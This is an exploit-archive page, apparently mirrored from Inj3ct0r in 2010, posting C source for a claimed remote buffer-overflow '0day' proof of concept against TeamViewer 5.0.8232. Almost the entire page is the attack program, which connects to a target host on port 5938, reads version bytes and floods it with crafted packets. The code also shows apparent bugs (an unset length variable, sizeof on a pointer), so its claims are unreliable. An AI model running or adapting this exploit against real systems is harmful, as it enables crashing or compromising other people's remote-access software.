Home / os / win7

TeamViewer 5.0.8232 Remote BOF PoC (0day)

Posted on 18 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>TeamViewer 5.0.8232 Remote BOF PoC (0day)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================
TeamViewer 5.0.8232 Remote BOF PoC (0day)
=========================================


#include&lt;stdio.h&gt;
#include&lt;sys/types.h&gt;
#include&lt;sys/socket.h&gt;
#include&lt;netinet/in.h&gt;
#include&lt;unistd.h&gt;
 
#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME &quot;[*]TeamViewer 5.0.8232 remote BOF poc(0day)&quot;
#define AUTHOR &quot;[*]fl0 fl0w&quot;
 
   typedef int i32;
   typedef char i8;
   typedef short i16;
   enum {
        True=1,
        False=0,
        Error=-1       
   };
   struct  linger  ling = {1,1};
   i8* host;
   i16 port;
   i32 ver1,ver2,slen;
   void syntax(){
             i8 *help[]={&quot;	-h hostname&quot;,
                        &quot;	-p port(default 5938)&quot;,
                };
                i32 i;
                size_t com=sizeof help / sizeof help[0];
                for(i=0;i&lt;com;i++){
                   printf(&quot;%s
&quot;,help[i]); 
               }
        }
    i32 arguments(i32 argc,i8** argv){
         i32 i;
         argc--;
         for(i=1;i&lt;argc;i++){
            switch(argv[i][1]){
                  case'h':
                          host=argv[++i];
                  break;
                  case'p':
                          port=atoi(argv[++i]);
                  break;                        
                  default:{
                          printf(&quot;error with argument nr %d:(%s)
&quot;,i,argv[i]);
                  return Error;
                          exit(0); 
                }      
            }                
         }
    }   
    i32 main(i32 argc,i8** argv){
        if(argc&lt;2){
               printf(&quot;%s
%s
&quot;,POCNAME,AUTHOR);       
               printf(&quot;	Too few arguments
 syntax is:
&quot;);
               syntax();
               exit(0);       
            }
            arguments(argc,argv);
        i32 sok,i,
            svcon,
            sokaddr;
             
        i8 *sendbytes=ALOC(i8,32768),   
           *recevbytes=ALOC(i8,5548);
            printf(&quot;[*]Starting 
 	...
&quot;);   
            struct sockaddr_in sockaddr_sok;
            sokaddr = sizeof(sockaddr_sok);
            sockaddr_sok.sin_family = AF_INET;
            sockaddr_sok.sin_addr.s_addr = inet_addr(host);
            sockaddr_sok.sin_port = htons(port);
            sok=socket(AF_INET,SOCK_STREAM,0);
                        if(sok==-1){
                          printf(&quot;[*]FAILED SOCKET
&quot;);
                          exit(0);
                       }
            if(svcon=connect(sok,(struct sockaddr*)&amp;sockaddr_sok,sokaddr)&lt;0){
               printf(&quot;Error with connection
&quot;);
               shutdown(sok,1);
               exit(0);
            }
            if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&amp;ling, sizeof(ling))&lt;0){
                               printf(&quot;Error setting the socket
&quot;);
                                              shutdown(sok,1);
                                exit(0);
            }
            if(recv(sok,&amp;ver1,1,0)!=1)
               exit(0);
            if(recv(sok, &amp;ver2,1,0)!=1)
               exit(0);
            memset(sendbytes,0,250);
            recv(sok,recevbytes,sizeof(recevbytes),0);
            for(i=0;;i++) {
               if(!(i &amp; 15)) printf(&quot;%d
&quot;, i);
                  sendbytes[0] = ver1;
                  sendbytes[1] = ver2;
                  sendbytes[2] = (i &amp; 1) ? 15 : 21;  
            *(i16 *)(sendbytes + 3) = slen;
                 if(send(sok, sendbytes, 5, 0) != 5) break;
 
                   if(slen) { 
                     memset(sendbytes, i, slen);
                     if(send(sok, sendbytes, slen, 0) != slen) break;
                     }
           }
           shutdown(sok,1);
           return 0;
    }


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :